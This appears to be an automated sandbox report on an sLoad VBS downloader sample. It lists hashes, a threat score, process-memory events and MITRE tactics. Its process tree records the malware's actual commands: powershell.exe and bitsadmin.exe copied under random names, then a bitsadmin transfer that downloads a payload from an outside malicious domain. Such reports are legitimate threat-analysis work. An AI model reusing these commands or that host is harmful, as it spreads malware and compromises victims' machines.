sload | 23f49debee62d2ea96d91c2cf8c68e7f4bb16827696e4586b3e979be84bca631

General

Target

23f49debee62d2ea96d91c2cf8c68e7f4bb16827696e4586b3e979be84bca631.vbs
Size

6KB
MD5

31f505685ab56e105729d6a60a7a6984
SHA1

1f6fb6b55cd9fbd42b0ca0ec5f8227d9f6973255
SHA256

23f49debee62d2ea96d91c2cf8c68e7f4bb16827696e4586b3e979be84bca631
SHA512

b1baaf13e79f3ef6000510ff4c2e90373105b7a8ffd53b3f9b06e2ae824c562f9e287e5319f2699a331de10717d65775307fb1e006b3d14d19cb82b5a39d119d

Score

10^/10

sLoad
sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.
trojan stealer sload

Executes dropped EXE 1 IoCs

pid	Process
2040	YVxNfVgin.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 1956 wrote to memory of 1164	1956	WScript.exe	27
PID 1956 wrote to memory of 1164	1956	WScript.exe	27
PID 1956 wrote to memory of 1164	1956	WScript.exe	27
PID 1164 wrote to memory of 1448	1164	cmd.exe	29
PID 1164 wrote to memory of 1448	1164	cmd.exe	29
PID 1164 wrote to memory of 1448	1164	cmd.exe	29
PID 1164 wrote to memory of 1372	1164	cmd.exe	30
PID 1164 wrote to memory of 1372	1164	cmd.exe	30
PID 1164 wrote to memory of 1372	1164	cmd.exe	30
PID 1956 wrote to memory of 2040	1956	WScript.exe	31
PID 1956 wrote to memory of 2040	1956	WScript.exe	31
PID 1956 wrote to memory of 2040	1956	WScript.exe	31
PID 1956 wrote to memory of 2040	1956	WScript.exe	31

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\23f49debee62d2ea96d91c2cf8c68e7f4bb16827696e4586b3e979be84bca631.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\ztAXz.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\YVxNfVg*.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1164
- - C:\Windows\system32\cmd.exe
    cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\ztAXz.exe
    3⤵
    PID:1448
- - C:\Windows\system32\cmd.exe
    cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\YVxNfVg*.exe
    3⤵
    PID:1372
- C:\ProgramData\YVxNfVgin.exe
  "C:\ProgramData\YVxNfVgin.exe" /transfer HYlQgP /download https://fhivelifestyle.online/lidepato/MLIMNT54C54F979H/1x1.css C:\Users\Admin\AppData\Roaming\1x1.css
  2⤵
  - Executes dropped EXE
  PID:2040

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

C:\ProgramData\YVxNfVgin.exe

Filesize
182KB

MD5
0920b14aa67a8b04acf48ffe7c6f0927

SHA1
3421124253058dc21453ebac531b67aeb999f627

SHA256
838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00

SHA512
2b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51

Download Submit
C:\ProgramData\YVxNfVgin.exe

Filesize
182KB

MD5
0920b14aa67a8b04acf48ffe7c6f0927

SHA1
3421124253058dc21453ebac531b67aeb999f627

SHA256
838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00

SHA512
2b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51

Download Submit
memory/1956-54-0x000007FEFB711000-0x000007FEFB713000-memory.dmp

Filesize
8KB

Download
memory/2040-61-0x0000000075C31000-0x0000000075C33000-memory.dmp

Filesize
8KB

Download